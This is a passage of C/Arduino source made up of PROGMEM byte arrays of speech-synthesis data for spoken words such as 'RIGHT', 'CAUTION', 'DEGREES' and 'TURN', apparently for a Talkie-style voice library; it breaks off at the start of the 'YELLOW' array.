{0x06,0x28,0x22,0x5D,0x03,0xCB,0x4B,0x2A,0x23,0x03,0xDB,0x9E,0xB8,0x88,0x8C,0x18,0xCC,0x7A,0xD3,0x9B,0xAF,0xBA,0x78,0xE7,0x70,0xEB,0xDA,0xC6,0x9E,0x27,0x44,0x44,0xAB,0x01,0x56,0xBE,0x8A,0x40,0x04,0x22,0xE0,0x01,0x0F,0x78,0x40,0x02,0xFF,0x0F};\nconst uint8_t spRIGHT[] PROGMEM = {0x66,0xD7,0xB1,0x24,0xDC,0xE3,0x98,0xCD,0x95,0xA4,0x28,0xB5,0x97,0xD6,0xD0,0x8C,0x3A,0x55,0xFE,0x18,0x43,0xB1,0x4C,0x37,0x6F,0xA7,0x2D,0x72,0x22,0x8A,0xF3,0x9E,0xA6,0xFA,0x94,0x0A,0xDD,0x7C,0x9B,0xDB,0xAD,0xB1,0xD7,0x40,0xF3,0x78,0x3D,0xE7,0x7E,0xE6,0x07,0x81,0x22,0x94,0xBB,0x88,0x6C,0x00,0x50,0xC0,0xB6,0xD7,0x1E,0x10,0x40,0x9B,0xEB,0x0C,0x28,0x56,0xE9,0xFF,0x01};\nconst uint8_t spSLOW[] PROGMEM = {0x04,0xF8,0xCB,0x44,0x01,0xBF,0x86,0x5B,0xC0,0x02,0x1C,0x28,0xD3,0xC6,0x1C,0x55,0xA2,0xAD,0x0F,0xB3,0x3D,0xC5,0xA4,0x16,0x95,0xE4,0xF5,0x64,0x95,0x7B,0x8E,0x53,0xDF,0x9B,0xAD,0x22,0xF1,0xEA,0x61,0xCE,0xBB,0x9B,0xD9,0xCF,0xB9,0x2F,0x7D,0x0D,0x9B,0xD7,0x5D,0x0B,0x92,0x27,0x1E,0xEE,0xD4,0xA5,0x32,0x50,0xDB,0xD8,0xD3,0x5E,0xEE,0xF6,0xB1,0xDD,0x55,0xBB,0xFC,0x3F};\nconst uint8_t spTOOL[] PROGMEM = {0x09,0x38,0xD6,0xCC,0x01,0xCB,0x76,0xB5,0x38,0x73,0x0B,0x4F,0xCA,0x3A,0x92,0x42,0xAD,0x25,0x29,0xFD,0x4E,0x47,0x9A,0x78,0x64,0x34,0xA4,0xEB,0xC5,0xA8,0x0A,0xB1,0xCA,0x02,0x77,0xB5,0xAF,0x73,0x5A,0x83,0x88,0x69,0xA3,0x6C,0x69,0xCD,0xCC,0x67,0x94,0xDC,0xE7,0x3D,0x5E,0xF1,0x09,0x7F,0x11,0xDA,0xC3,0xE2,0xF5,0xFF,0x01};\nconst uint8_t spWEST[] PROGMEM = {0x66,0xB7,0x7C,0x53,0x53,0x6B,0xFA,0xC5,0xCF,0x65,0x4C,0x64,0x56,0x5C,0x1C,0xAF,0xA6,0xE0,0xEA,0x68,0x52,0x77,0x8A,0x2A,0xD2,0xB3,0x29,0xDF,0xC9,0x9B,0x4A,0xCD,0xE2,0xCD,0x37,0x5F,0x45,0x8B,0x21,0xAD,0xF1,0x78,0xB7,0xBB,0x1F,0x4B,0x89,0x92,0xC6,0x17,0x5B,0x01,0x8F,0x9B,0x1A,0xE0,0x97,0x48,0x0F,0x78,0xC0,0x03,0x1A,0x10,0xC0,0x9F,0xED,0x1C,0xC0,0x00,0x28,0xE0,0x15,0x56,0x05,0x1C,0x9F,0x43,0x80,0x61,0x26,0xFF,0x1F};\nconst uint8_t spKILO[] PROGMEM = {0x06,0xD8,0x29,0x25,0x01,0x5D,0x22,0x7B,0xA0,0x85,0x33,0x1A,0x52,0xD7,0xDB,0x19,0xCF,0x68,0x44,0xD3,0x29,0x51,0x79,0xBC,0x99,0xAC,0x6C,0x71,0x0B,0x4D,0xCA,0xB6,0xC7,0x35,0x55,0xEE,0x39,0x4E,0x7D,0xEF,0xBA,0xD6,0xC2,0x32,0xAB,0xB8,0xEF,0xDE,0xDB,0x99,0x4C,0x65,0x2B,0xF5,0xED,0x67,0xB9,0x7D,0xAC,0x6C,0xD4,0x35,0xF1,0x8E,0x4F,0x78,0x83,0x9A,0xCA,0x20,0xBF,0xEE,0x4F,0x62,0xBC,0x82,0xF4,0xFD,0x3F};\nconst uint8_t spAND[] PROGMEM = {0xA9,0x6B,0x21,0xB9,0x22,0x66,0x9F,0xAE,0xC7,0xE1,0x70,0x7B,0x72,0xBB,0x5B,0xDF,0xEA,0x56,0xBB,0x5C,0x65,0xCB,0x66,0xC5,0x3D,0x67,0xD7,0xAB,0x6D,0x2E,0x64,0x30,0x93,0xEE,0xB1,0xCD,0x3D,0x92,0xB9,0x9A,0xDA,0xB2,0x8E,0x40,0x12,0x9A,0x6A,0xEB,0x96,0x8F,0x78,0x98,0xB3,0x2A,0xB4,0xD3,0x48,0xAA,0x2F,0x7D,0xA7,0x7B,0xFB,0x0C,0x73,0x71,0x5C,0xCE,0x6E,0x5C,0x52,0x6C,0x73,0x79,0x9A,0x13,0x4B,0x89,0x45,0xE9,0x6E,0x49,0x42,0xA9,0x57,0xFF,0x3F};\nconst uint8_t spFARAD[] PROGMEM = {0x04,0x58,0x3E,0x8D,0x03,0x1C,0xD0,0x80,0x05,0x4A,0xB9,0x54,0x9B,0x3A,0x79,0x9C,0xD5,0xA9,0x7B,0x0C,0x71,0xF7,0xD7,0xB7,0xBE,0xCD,0x68,0x4B,0x56,0xF1,0x12,0x3F,0xB5,0x4B,0x6B,0x2C,0x6C,0x91,0x26,0xBF,0x4E,0x63,0x2E,0x91,0x43,0x5D,0xDB,0xAF,0xA5,0xF9,0x10,0x0D,0xE9,0x3E,0xF7,0x7A,0xF2,0x0B,0x81,0x22,0x94,0xBB,0x88,0x6C,0x20,0xCF,0xA2,0xEE,0x95,0x99,0x38,0x3D,0xDD,0x85,0x89,0xCA,0x96,0xFC,0xFC,0x3F};\nconst uint8_t spMILLI[] PROGMEM = {0x6E,0xF0,0x8A,0xB3,0x4B,0xEB,0xC6,0xAE,0x36,0xA7,0x1A,0x3A,0x54,0x53,0xD6,0xDC,0xEC,0x66,0x23,0xDF,0x58,0x26,0x43,0xB4,0xCD,0xEA,0x74,0x5D,0x94,0x46,0xF0,0x96,0x3B,0x9D,0x79,0x98,0x26,0x75,0xDB,0xB3,0xD7,0xB6,0xF5,0x90,0xA8,0x91,0x9F,0xEA,0x9E,0xEE,0xE9,0x9B,0x20,0x7D,0xCB,0xFF,0x03};\nconst uint8_t spCAUTION[] PROGMEM = {0x02,0x48,0x69,0x4D,0x03,0x06,0xE8,0x34,0xA2,0x85,0x95,0x4C,0x78,0xA8,0xD2,0x93,0x66,0xB1,0xE9,0x4D,0x79,0x6F,0x7A,0xD3,0x9D,0xF5,0xCC,0x01,0x2B,0x86,0x06,0x60,0xC5,0xAB,0x08,0x44,0x20,0x00,0xCD,0x10,0x8D,0xB6,0x26,0x11,0x8B,0xE8,0x3C,0xE6,0x62,0x5D,0x3D,0x63,0xF7,0x58,0xBB,0x4E,0xF1,0xB0,0x2E,0xED,0x28,0xCA,0x74,0xCC,0x9B,0xB8,0xB7,0x69,0xA6,0x0E,0x8F,0x66,0xBE,0xAC,0x48,0xC6,0xAD,0xAE,0xFB,0x9A,0x16,0x0E,0xF3,0x78,0xFE,0xF3,0xBF,0xFF,0xED,0xFF,0xFF};\nconst uint8_t spLIGHT[] PROGMEM = {0x61,0x69,0xC0,0x2B,0x82,0xB3,0xA5,0x79,0x01,0x9A,0x52,0x71,0x57,0xC7,0x31,0x0C,0x5C,0x5D,0xC1,0x59,0x6F,0x7B,0x9A,0xC6,0x3B,0xCB,0xA5,0xCB,0xA9,0xAA,0x6D,0x6B,0xB3,0xCD,0xA7,0x6C,0x29,0xB4,0x34,0x56,0xAF,0xBA,0x0F,0x23,0x93,0x5C,0x32,0xC7,0xB6,0xF6,0x46,0xA4,0x39,0xB3,0xF3,0x86,0x40,0x11,0xCA,0x5D,0x44,0x36,0x00,0x80,0x02,0x96,0x2A,0x35,0xC0,0xB6,0x97,0x0C,0xE8,0xF9,0x04,0x01,0xC5,0x19,0xFC,0x3F};\nconst uint8_t spCHECK[] PROGMEM = {0x0E,0x58,0x25,0x25,0x00,0xB3,0x8E,0x7B,0x60,0xC5,0x35,0xB3,0x68,0xE4,0xEA,0x53,0xB4,0x1C,0x12,0xEE,0x9B,0x6F,0x79,0xAB,0x5B,0xEF,0x71,0xEF,0xE6,0xAE,0x49,0xA9,0x2A,0x17,0x21,0x50,0x84,0x72,0x17,0x91,0x0D,0x00,0x0A,0x68,0xC5,0x49,0x02,0x12,0xE0,0xC0,0xFF,0x03};\nconst uint8_t spDEGREES[] PROGMEM = {0x65,0x9F,0x5A,0x48,0x42,0x1D,0x8F,0x61,0xB8,0x62,0x56,0xFE,0xB2,0xFA,0x51,0x9C,0x85,0xED,0xCD,0xEA,0x47,0x4B,0x64,0xD5,0x35,0x69,0xE8,0xC7,0x41,0xD4,0x5E,0x8B,0x25,0x6B,0xB4,0x75,0xB7,0x84,0x40,0x11,0xCA,0x5D,0x44,0x36,0x98,0xAD,0xA9,0xAB,0x28,0x8D,0x1B,0xFA,0xE2,0x26,0xC9,0x44,0x69,0x6A,0xA3,0x13,0x8F,0x70,0xAD,0xA5,0xC9,0x99,0x42,0xDC,0x9C,0x8D,0xA6,0x36,0x4E,0x72,0xB3,0xBF,0xEA,0xD6,0x54,0xD9,0x25,0xFD,0xAA,0x46,0x19,0x86,0x90,0xAF,0xB3,0xEE,0x4D,0x19,0x47,0x12,0x90,0xCE,0x5B,0x75,0xC9,0x5B,0xDA,0x47,0x31,0x14,0xF3,0xD7,0xF9,0xCC,0x77,0xFC,0xFC,0xEF,0xFE,0xE6,0x99,0xC2,0x7C,0x93,0xFE,0xC5,0xDF,0x44,0x08,0x5B,0x75,0x36,0xFF,0xD2,0xC6,0xE2,0x91,0xCE,0xFD,0xDF,0x89,0x9A,0x68,0x3A,0x01,0x4C,0x48,0x2A,0x80,0x5F,0x33,0x34,0x40,0x81,0xFF,0x07};\nconst uint8_t spSERVICE[] PROGMEM = {0x04,0xF8,0xAD,0x94,0x03,0x1A,0xB0,0x80,0x07,0x2C,0xB0,0xA2,0xE6,0xCD,0xD4,0xB4,0xEB,0xC9,0xAA,0x4D,0xE1,0xD6,0xEC,0x23,0x2B,0xBE,0x85,0x96,0xFD,0xCD,0xBC,0x15,0xB9,0x16,0xE9,0xB0,0xBF,0x51,0x66,0x5F,0x24,0xA3,0x7A,0x53,0x97,0xBD,0x89,0xBB,0xC4,0x52,0x4B,0xB1,0xAE,0xE6,0x9A,0xB9,0xEE,0x63,0xAD,0xCE,0x35,0xD4,0x7A,0xCF,0xA3,0x9F,0xE9,0x2E,0xD2,0x25,0xDD,0x77,0x13,0xE0,0xB7,0x52,0x09,0x48,0xC0,0x02,0x16,0x90,0x00,0x05,0xFE,0x1F};\nconst uint8_t spSWITCH[] PROGMEM = {0x08,0xF8,0x3B,0x93,0x03,0x1A,0xB0,0x80,0x01,0xAE,0xCF,0x54,0x40,0x33,0x99,0x2E,0xF6,0xB2,0x4B,0x9D,0x52,0xA7,0x36,0xF0,0x2E,0x2F,0x70,0xDB,0xCB,0x93,0x75,0xEE,0xA6,0x4B,0x79,0x4F,0x36,0x4C,0x89,0x34,0x77,0xB9,0xF9,0xAA,0x5B,0x08,0x76,0xF5,0xCD,0x73,0xE4,0x13,0x99,0x45,0x28,0x77,0x11,0xD9,0x40,0x80,0x55,0xCB,0x25,0xE0,0x80,0x59,0x2F,0x23,0xE0,0x01,0x0B,0x08,0xA0,0x46,0xB1,0xFF,0x07};\nconst uint8_t spVALVE[] PROGMEM = {0x61,0x1F,0x5A,0x58,0x4D,0x9C,0x08,0x60,0x58,0x95,0x32,0x0D,0x2D,0xAC,0x26,0x4E,0x46,0xD7,0x5C,0x58,0x18,0xAF,0x3E,0x6D,0x73,0x6A,0x65,0xF6,0xE4,0x34,0xCD,0xA6,0x97,0xD9,0x93,0x5B,0xDF,0xFA,0x36,0xAB,0xCF,0x6A,0xA3,0x55,0x36,0xEF,0x7E,0xCF,0x63,0x2E,0xF4,0xAA,0x9C,0xFA,0x8C,0xAD,0xC1,0x9E,0x76,0xF2,0xD6,0xF7,0xBA,0xD7,0xA3,0x1C,0x85,0x78,0x76,0xA1,0xFA,0x78,0xC4,0x3B,0xDC,0x91,0x55,0x94,0x70,0x6A,0x7F,0xEB,0x87,0x00,0x55,0xA8,0x70,0x80,0x02,0x14,0xC0,0xC0,0xFF,0x03};\nconst uint8_t spVAL[] PROGMEM = {0x24,0x4B,0x38,0x2C,0x43,0x13,0xBB,0xEC,0xB8,0xB6,0xD0,0x76,0xBD,0xDA,0x6D,0x4B,0xC5,0xD8,0xF7,0x69,0x9B,0x55,0x2B,0xB3,0x27,0xA7,0x69,0x36,0xAD,0xCC,0x9E,0xDC,0xFA,0xD6,0xB7,0x59,0x7D,0x56,0x1B,0xAD,0xB2,0x79,0xF7,0x73,0x68,0x73,0x0C,0x5D,0xE1,0xD2,0xA6,0xEE,0xF9,0x0C,0x57,0xB0,0x13,0xC1,0x9E,0x36,0x5E,0xEE,0xCE,0x22,0xAC,0xD5,0xE2,0xF8,0xDB,0xDC,0x4D,0x09,0xA5,0x47,0xDC,0x78,0x9B,0xBB,0x7B,0x62,0xB7,0x70,0xF6,0xFF};\nconst uint8_t spNUMBER[] PROGMEM = {0x66,0xA9,0x12,0x72,0x42,0x9B,0x86,0xA5,0x1B,0x90,0x0E,0x6D,0x76,0xA6,0x26,0x2B,0xDC,0xA5,0xCF,0x6D,0x4F,0x95,0x4D,0xA5,0xBB,0x6E,0x5E,0x45,0x31,0x5E,0x65,0x92,0x66,0x14,0x45,0xAA,0xB4,0x98,0x9D,0x5A,0x84,0x2A,0x18,0xF6,0x92,0x74,0x43,0x3A,0xAD,0x5C,0x27,0xDD,0x6D,0x98,0xA3,0x09,0xF5,0x92,0xA4,0x65,0x4C,0x4D,0xA4,0x82,0x56,0x97,0x39,0x77,0xC7,0x68,0xF1,0x5D,0xD6,0xDC,0x1D,0x63,0xD4,0x4F,0xBE,0xC3,0x9D,0x53,0x81,0x4E,0xF3,0x89,0x9F,0xFF,0xDC,0x5F,0x66,0x92,0xB5,0x7A,0xFE,0x7F};\nconst uint8_t spOUT[] PROGMEM = {0xAD,0xCF,0xE6,0xDD,0xD3,0x17,0xED,0xFE,0xF4,0x9D,0x4F,0x56,0x71,0x97,0xDB,0xDD,0xEE,0x76,0xA7,0xCF,0xAE,0x6A,0x54,0x5A,0xEF,0x7E,0x0F,0x7B,0x4C,0x6B,0x88,0x95,0x21,0xBC,0xD9,0x6F,0x08,0x14,0xA1,0xDC,0x45,0x64,0x03,0x00,0x08,0xE0,0xE8,0x2E,0x0F,0x50,0xE0,0xFF,0x01};\nconst uint8_t spPOINT[] PROGMEM = {0x06,0xA8,0xCC,0x4B,0x03,0x2D,0xF3,0x69,0x2B,0x8C,0x1A,0xAF,0x2C,0x98,0xE9,0x28,0x4A,0xB3,0xF3,0x53,0xC6,0x90,0x9E,0xC1,0x6D,0x76,0x77,0xE6,0x9C,0x5D,0xD3,0x75,0xF1,0x58,0x5B,0x75,0x76,0xB7,0x4F,0xE3,0xE8,0xCE,0x31,0x3A,0x17,0xB6,0xB3,0x45,0x96,0xF4,0xAA,0x6D,0x4F,0x75,0x76,0xA3,0x94,0x66,0x6E,0x10,0x28,0x42,0xB9,0x8B,0xC8,0x06,0x50,0xC0,0x32,0x11,0x0A,0x58,0x76,0x87,0x01,0x3D,0xB5,0xFE,0x3F};\nconst uint8_t spBREAK[] PROGMEM = {0x90,0xC6,0x62,0x2D,0xDC,0xCC,0x76,0xE9,0x63,0x55,0xD3,0x32,0xF5,0xAD,0x4F,0x5D,0x42,0x53,0xF5,0x9D,0xB6,0x14,0x49,0x0D,0xCD,0x73,0xEA,0x5A,0x4C,0xC3,0x6D,0xF3,0x69,0x7A,0x0B,0x52,0x8D,0x25,0xBB,0x9D,0x8B,0xDB,0xC7,0x13,0x90,0x8A,0xC7,0x08,0x14,0xA1,0xDC,0x45,0x64,0x03,0x00,0x03,0xC6,0xA8,0x14,0x40,0xCD,0x4A,0x16,0xE0,0x00,0x06,0xFE,0x1F};\nconst uint8_t spHOURS[] PROGMEM = {0x63,0xC9,0x66,0xA2,0xCC,0x57,0x9F,0xB1,0xF1,0xCE,0x6E,0xEE,0x72,0xBB,0xD3,0x24,0x3B,0x99,0x49,0x79,0x6E,0x35,0x2A,0x1F,0x27,0xBD,0xC8,0x4B,0x69,0x4D,0xDA,0xB0,0x54,0x2E,0x65,0xB0,0x65,0x34,0x43,0xF8,0x96,0x31,0x75,0xA5,0x6E,0xEA,0x53,0xD7,0x7C,0xA4,0x27,0xD7,0x00,0x6F,0xD7,0x1B,0x1F,0xFF,0xB8,0xB7,0x26,0x16,0x49,0xEB,0xE6,0x5F,0xF7,0x56,0x2B,0x62,0xEA,0xEB,0xDC,0xDB,0x83,0xB2,0x9A,0x74,0x73,0xEF,0x76,0x9E,0xC4,0xAA,0xDE,0x7D,0xBF,0x87,0xA6,0xA0,0x52,0x06,0x7C,0x4B,0x24,0x01,0x09,0x70,0xE0,0xFF,0x01};\nconst uint8_t spCALIBRATE[] PROGMEM = {0x0E,0x18,0xC9,0xD9,0x01,0x55,0x29,0x9E,0xA0,0x16,0x97,0x70,0x5F,0x7C,0xB2,0xAA,0xDB,0x2B,0x79,0xCD,0xCD,0x56,0x51,0xC9,0x54,0x0D,0x26,0x1E,0x45,0xC3,0x55,0xDE,0xE2,0xF8,0x54,0xC5,0x94,0xA7,0x73,0x97,0xDB,0x94,0x3E,0xE9,0x52,0x2F,0xF6,0xC2,0x16,0xA9,0x4B,0xB3,0xCC,0x5E,0xD8,0xAA,0x34,0x31,0x73,0x27,0xE5,0x4C,0x8D,0xC3,0xD3,0xF4,0xF6,0xA9,0x2F,0xEB,0xA8,0x2E,0x39,0x42,0xFB,0x8E,0xAB,0x99,0xA4,0x28,0xFF,0x5C,0xEE,0x69,0x97,0x28,0x7D,0x4F,0x7D,0xD2,0xDF,0xAB,0x92,0x98,0x6F,0x41,0x8F,0x08,0xE5,0x2E,0x22,0x1B,0x00,0x18,0xB0,0x42,0xA4,0x02,0x5E,0xA8,0x26,0xC0,0xF0,0xE7,0xFF,0x0F};\nconst uint8_t spCRANE[] PROGMEM = {0x0A,0xC8,0xBD,0xD5,0x03,0x16,0x50,0x40,0x5E,0x15,0x23,0x4F,0x5D,0xCC,0x87,0xB3,0xAE,0xA2,0xE4,0x64,0x1D,0x73,0x7F,0x8A,0x9A,0x9B,0xB5,0xA5,0xEB,0x29,0x7A,0x4D,0x36,0xB7,0x45,0xB7,0x58,0xF5,0x28,0x8E,0xDA,0x31,0x69,0x77,0x7B,0x98,0x73,0x5F,0xEA,0x1A,0xF6,0x1E,0x99,0xB3,0x62,0x74,0xB8,0xBA,0x47,0x73,0x4F,0xA7,0xF1,0x0A,0x77,0x4F,0xE4,0x2A,0xEE,0xD5,0x3D,0xCD,0x91,0x86,0x86,0xBB,0xF0,0x8C,0xC8,0x6C,0x9A,0xCE,0xFE,0x1F};\nconst uint8_t spDIRECTION[] PROGMEM = {0xA5,0x7E,0xBE,0x3C,0x49,0x14,0xAF,0x6E,0xAA,0x52,0x72,0xCD,0x77,0xBA,0x66,0x4A,0x38,0xAC,0xDB,0xE9,0x8A,0x0F,0xB6,0xB0,0xF4,0xAD,0x4B,0x5D,0xDC,0x35,0xED,0xCF,0xF6,0xD4,0xA5,0x68,0xB8,0x85,0xFB,0x53,0xD6,0x90,0x34,0x1E,0x9D,0x6E,0x31,0xF2,0x36,0x9D,0x4A,0x6C,0x91,0xC9,0x47,0x18,0x63,0xD1,0xD8,0x02,0xE8,0xC1,0xCC,0x01,0x63,0x6C,0x45,0x20,0x02,0x1E,0x68,0x45,0x8D,0xAA,0x6E,0xD1,0x69,0x36,0x63,0x69,0x81,0x2D,0x25,0x9A,0xD4,0x23,0x1D,0x5D,0x0B,0xA5,0x7B,0xB4,0x78,0xF9,0xDB,0x7D,0x23,0x18,0xB9,0x58,0x7C,0xFF,0xBB,0xAF,0x19,0xC1,0x54,0x4B,0xF6,0xFF};\nconst uint8_t spENTER[] PROGMEM = {0xAB,0x18,0xB6,0x39,0xDC,0x5E,0xDD,0xFA,0x96,0xAB,0xE8,0x41,0x24,0xC9,0x17,0xE5,0x0A,0x0C,0x70,0x4C,0x65,0xE9,0x4A,0x37,0xCC,0xE4,0xDE,0xB3,0x6F,0x73,0xA9,0x0D,0x36,0x9C,0x37,0xEF,0xE9,0xCA,0x35,0xA0,0x5A,0xFA,0x94,0xB7,0xD4,0xC4,0x48,0xC9,0x93,0xBF,0xFF,0x07};\nconst uint8_t spFEET[] PROGMEM = {0x08,0x98,0x31,0x93,0x02,0x1C,0xE0,0x80,0x07,0x5A,0x3E,0x4A,0x28,0x99,0x3F,0x59,0xE9,0xE8,0x4E,0x64,0xFE,0x64,0x67,0xA3,0x98,0x45,0x41,0xB2,0x67,0xF7,0x36,0x4F,0x6A,0x9F,0x9D,0x91,0xB3,0x6E,0xA3,0x7B,0xCA,0x30,0x53,0x95,0x03,0x00,0x00,0x08,0x18,0xD2,0x4D,0x00,0xC7,0x6C,0x6A,0x40,0x00,0x3D,0xAC,0x62,0xE0,0xFF,0x01};\nconst uint8_t spFROM[] PROGMEM = {0x04,0x18,0x26,0x8D,0x03,0x12,0xF0,0x80,0xAB,0x42,0x57,0x8B,0x61,0x6F,0xAB,0x4C,0xCE,0x2B,0xD2,0xD4,0xDD,0xE2,0x96,0xA7,0xCC,0x72,0xCA,0x93,0xDB,0xEC,0x6A,0xB7,0x73,0x68,0x4B,0xA7,0x61,0xA1,0x6C,0xB6,0xAF,0xF9,0x88,0x47,0x3C,0xFD,0xF3,0xFF};\nconst uint8_t spGAP[] PROGMEM = {0x0C,0x08,0xDA,0x75,0x2C,0xB3,0x27,0x19,0xBB,0xDD,0xD1,0xB7,0x44,0xE4,0x51,0x73,0x4E,0x3B,0x7A,0x90,0x49,0x2C,0x39,0x75,0x77,0xAD,0x66,0xB6,0xE6,0x56,0xA7,0xAA,0x31,0x25,0x2D,0xD7,0xEC,0x61,0x2E,0x71,0x41,0xA0,0x08,0xE5,0x2E,0x22,0x1B,0x00,0x00,0x01,0x5D,0x85,0x29,0xE0,0x88,0x76,0x05,0x4C,0xF7,0xCE,0x80,0xEE,0x9B,0x29,0xF0,0xFF};\nconst uint8_t spHOLD[] PROGMEM = {0x08,0x68,0x34,0x5A,0x03,0x06,0x98,0x42,0xCC,0x02,0x23,0x4F,0x7C,0xD6,0x85,0xDA,0xAC,0xAC,0xE2,0xD8,0x32,0x4C,0xD3,0xF2,0x8C,0xF3,0x9C,0xA9,0x4B,0xCF,0x5A,0x51,0x91,0xEE,0x04,0xBA,0xEB,0x55,0xED,0xCB,0x12,0x85,0x6F,0x0A,0xBB,0xCB,0x6B,0xDC,0xE3,0x61,0x0F,0x73,0x65,0x41,0xAB,0x6A,0x69,0xCC,0x95,0x04,0x75,0x93,0xA7,0x35,0x67,0xD3,0x28,0xE3,0x9A,0x56,0x5D,0x85,0x93,0x65,0x68,0xB6,0x74,0x55,0x63,0xE6,0x62,0x6B,0xDC,0x59,0x2D,0x87,0xBB,0x3F,0xF9,0x7F};\nconst uint8_t spLEFT[] PROGMEM = {0x69,0x1D,0xC0,0xDA,0xCC,0xD3,0xA6,0xB5,0x81,0x68,0xD1,0xF4,0xDA,0xC7,0xD3,0x57,0x6F,0x11,0xDC,0x4B,0x6E,0x73,0x9A,0xE6,0x5D,0x5B,0x72,0xF5,0xED,0xF7,0xD2,0xCE,0x92,0x2C,0x5C,0xEA,0x0D,0x03,0x8A,0x0E,0x25,0xC0,0x74,0xE3,0x12,0xD0,0x80,0x04,0x10,0x90,0x89,0x2B,0x08,0x60,0x8B,0x71,0x0B,0x10,0xA0,0xB5,0xF3,0xFF,0x07};\nconst uint8_t spMILL[] PROGMEM = {0x66,0x8E,0x8A,0xA2,0xC2,0x93,0xFA,0x29,0x8E,0xB9,0x1B,0x6D,0x4B,0xA6,0x26,0xF9,0xE4,0xD6,0xB7,0xBA,0xD5,0x6A,0xAB,0x4C,0x6B,0xD5,0xC7,0x6B,0x28,0xA4,0xB3,0x8D,0xFB,0xCC,0xB9,0xEC,0x05,0x75,0x97,0x61,0xDE,0xBA,0xE7,0x33,0x5D,0x0D,0x47,0x4D,0x80,0x97,0x78,0x9B,0xC7,0xEA,0xA9,0x62,0xED,0xFC,0xFF};\nconst uint8_t spUH[] PROGMEM = {0x63,0x2A,0xAC,0x2B,0x8D,0xF7,0xEC,0xF1,0xB6,0xB7,0xDD,0xDD,0xEC,0xC7,0x5A,0x58,0x55,0x39,0xF5,0x9E,0x6B,0x3D,0xD3,0x59,0xB8,0x67,0x39,0xEE,0x8A,0x77,0x7A,0xAB,0x54,0x6F,0xC7,0x4C,0xF6,0x91,0xCF,0xFF,0x03};\nconst uint8_t spPAST[] PROGMEM = {0x0A,0x88,0x29,0x4C,0x02,0x25,0xAB,0x4E,0xB4,0xCC,0x6B,0x9E,0x22,0x47,0x89,0xF2,0xAA,0x7C,0xEA,0x1A,0xDC,0x3A,0xED,0xCE,0xAD,0x6F,0x77,0x87,0x3B,0xCF,0x7D,0x9C,0xD5,0xBA,0x75,0xEA,0xE2,0x7E,0xB5,0xAB,0x05,0x8D,0x96,0x5C,0xE2,0xCE,0x3E,0x39,0x93,0xCA,0x0D,0x03,0xBE,0x37,0xD5,0x80,0x05,0x3C,0x60,0x01,0x0D,0x00,0x02,0x9E,0xE7,0xB0,0x80,0x00,0xA6,0x5E,0x47,0x40,0x1D,0x4B,0xFF,0x0F};\nconst uint8_t spPRESS[] PROGMEM = {0x02,0x28,0x31,0x43,0x03,0x25,0xCB,0xBE,0xDC,0x5D,0xED,0x94,0x22,0x0E,0xCE,0x70,0xC9,0xBD,0xF2,0x9C,0xD5,0xBD,0x24,0xEF,0xC9,0xAB,0x77,0xF5,0x92,0x3E,0x27,0x6B,0xA1,0x25,0xD5,0x56,0xDF,0xEC,0x34,0x5D,0xA7,0x94,0xF9,0xEB,0x3B,0xEC,0x69,0xEE,0x75,0x15,0xC0,0x57,0xC1,0x02,0xF8,0x3D,0x5D,0x02,0x1A,0xD0,0x80,0x04,0x28,0x80,0x81,0xFF,0x07};\nconst uint8_t spRANGE[] PROGMEM = {0x6C,0xE7,0xA5,0xD9,0x33,0xAD,0xAA,0x4D,0xF7,0xC0,0x6C,0x93,0xEA,0x66,0x3F,0x95,0x3A,0xD5,0x79,0xEB,0x62,0x17,0x69,0x0B,0xE7,0xAB,0x29,0x45,0x8A,0x4B,0xBD,0x9E,0xBA,0x17,0x63,0xB7,0x58,0x7D,0xAB,0x5B,0xAD,0x7A,0x94,0x00,0xAB,0x9C,0xB5,0xBB,0x39,0xCC,0xB9,0xAF,0x75,0x4F,0x7B,0x8F,0x10,0xEE,0x69,0x27,0x9C,0x3D,0x93,0xA4,0x79,0x5C,0x7F,0x87,0xB7,0x7B,0xE6,0x30,0x8B,0xE7,0x5F,0xF3,0x54,0xCD,0x92,0xA1,0x75,0xFC,0xC3,0x80,0x51,0x9C,0x24,0x60,0x01,0x01,0x8C,0xEC,0xF4,0xFF};\nconst uint8_t spSAFE[] PROGMEM = {0x08,0xF8,0x39,0x4C,0x02,0x1A,0xD0,0x80,0x05,0x3C,0x60,0x81,0x95,0x0F,0x15,0xE2,0x6A,0xAB,0x4F,0xD1,0x43,0x8A,0x8A,0xBF,0xB9,0xD5,0xAD,0x57,0x3F,0xAA,0x23,0xBB,0x3F,0x9E,0xCB,0xDC,0xF3,0x99,0x9E,0x5E,0x19,0xCD,0xEB,0x8E,0x79,0x7A,0x43,0x13,0xED,0x39,0x0C,0x18,0x7E,0x5C,0x02,0x12,0x90,0x00,0x07,0x28,0x40,0x81,0xFF,0x07};\nconst uint8_t spSOUTH[] PROGMEM = {0x08,0xF8,0x2E,0x8C,0x03,0x0C,0xF8,0xB5,0xCD,0x02,0x16,0x50,0xC0,0x6F,0xA5,0x1E,0x50,0xC0,0x37,0xEE,0x23,0x69,0xCA,0x35,0x55,0x57,0xAF,0xA2,0xD8,0x8E,0x16,0x5D,0x7D,0xEB,0xDB,0xDC,0x76,0xF5,0xC9,0x4C,0x95,0x71,0xEF,0x3D,0xCD,0xBD,0x9C,0xC1,0x75,0x95,0x72,0x97,0xFC,0x84,0x3F,0xAA,0xAE,0x31,0xF1,0x2D,0x5E,0x5B,0x72,0x9C,0x62,0xB5,0xF9,0x92,0x8E,0x18,0x93,0xC4,0x04,0x18,0xB2,0x45,0x02,0x1C,0xA0,0x00,0x05,0x28,0x40,0x81,0xFF,0x07};\nconst uint8_t spTURN[] PROGMEM = {0x01,0x18,0xA9,0xCC,0x02,0x06,0x28,0x4E,0xA9,0x14,0x39,0x25,0x69,0x4B,0xBA,0x5D,0xAE,0xAA,0x84,0x15,0x5A,0xF5,0xBE,0xAB,0x59,0xCF,0x61,0xCE,0x7D,0x6B,0x5B,0x09,0x49,0x76,0xEE,0xB5,0x1E,0xE5,0x69,0x2E,0x44,0xD3,0x9A,0xE6,0x27,0x7C,0x4D,0x09,0xA5,0x47,0xDC,0xF8,0xB9,0xAF,0x7B,0x62,0xB7,0x70,0xE6,0xBE,0x1A,0x54,0x4C,0xB8,0xDD,0xFF,0x03};\nconst uint8_t spYELLOW[] PROGMEM = 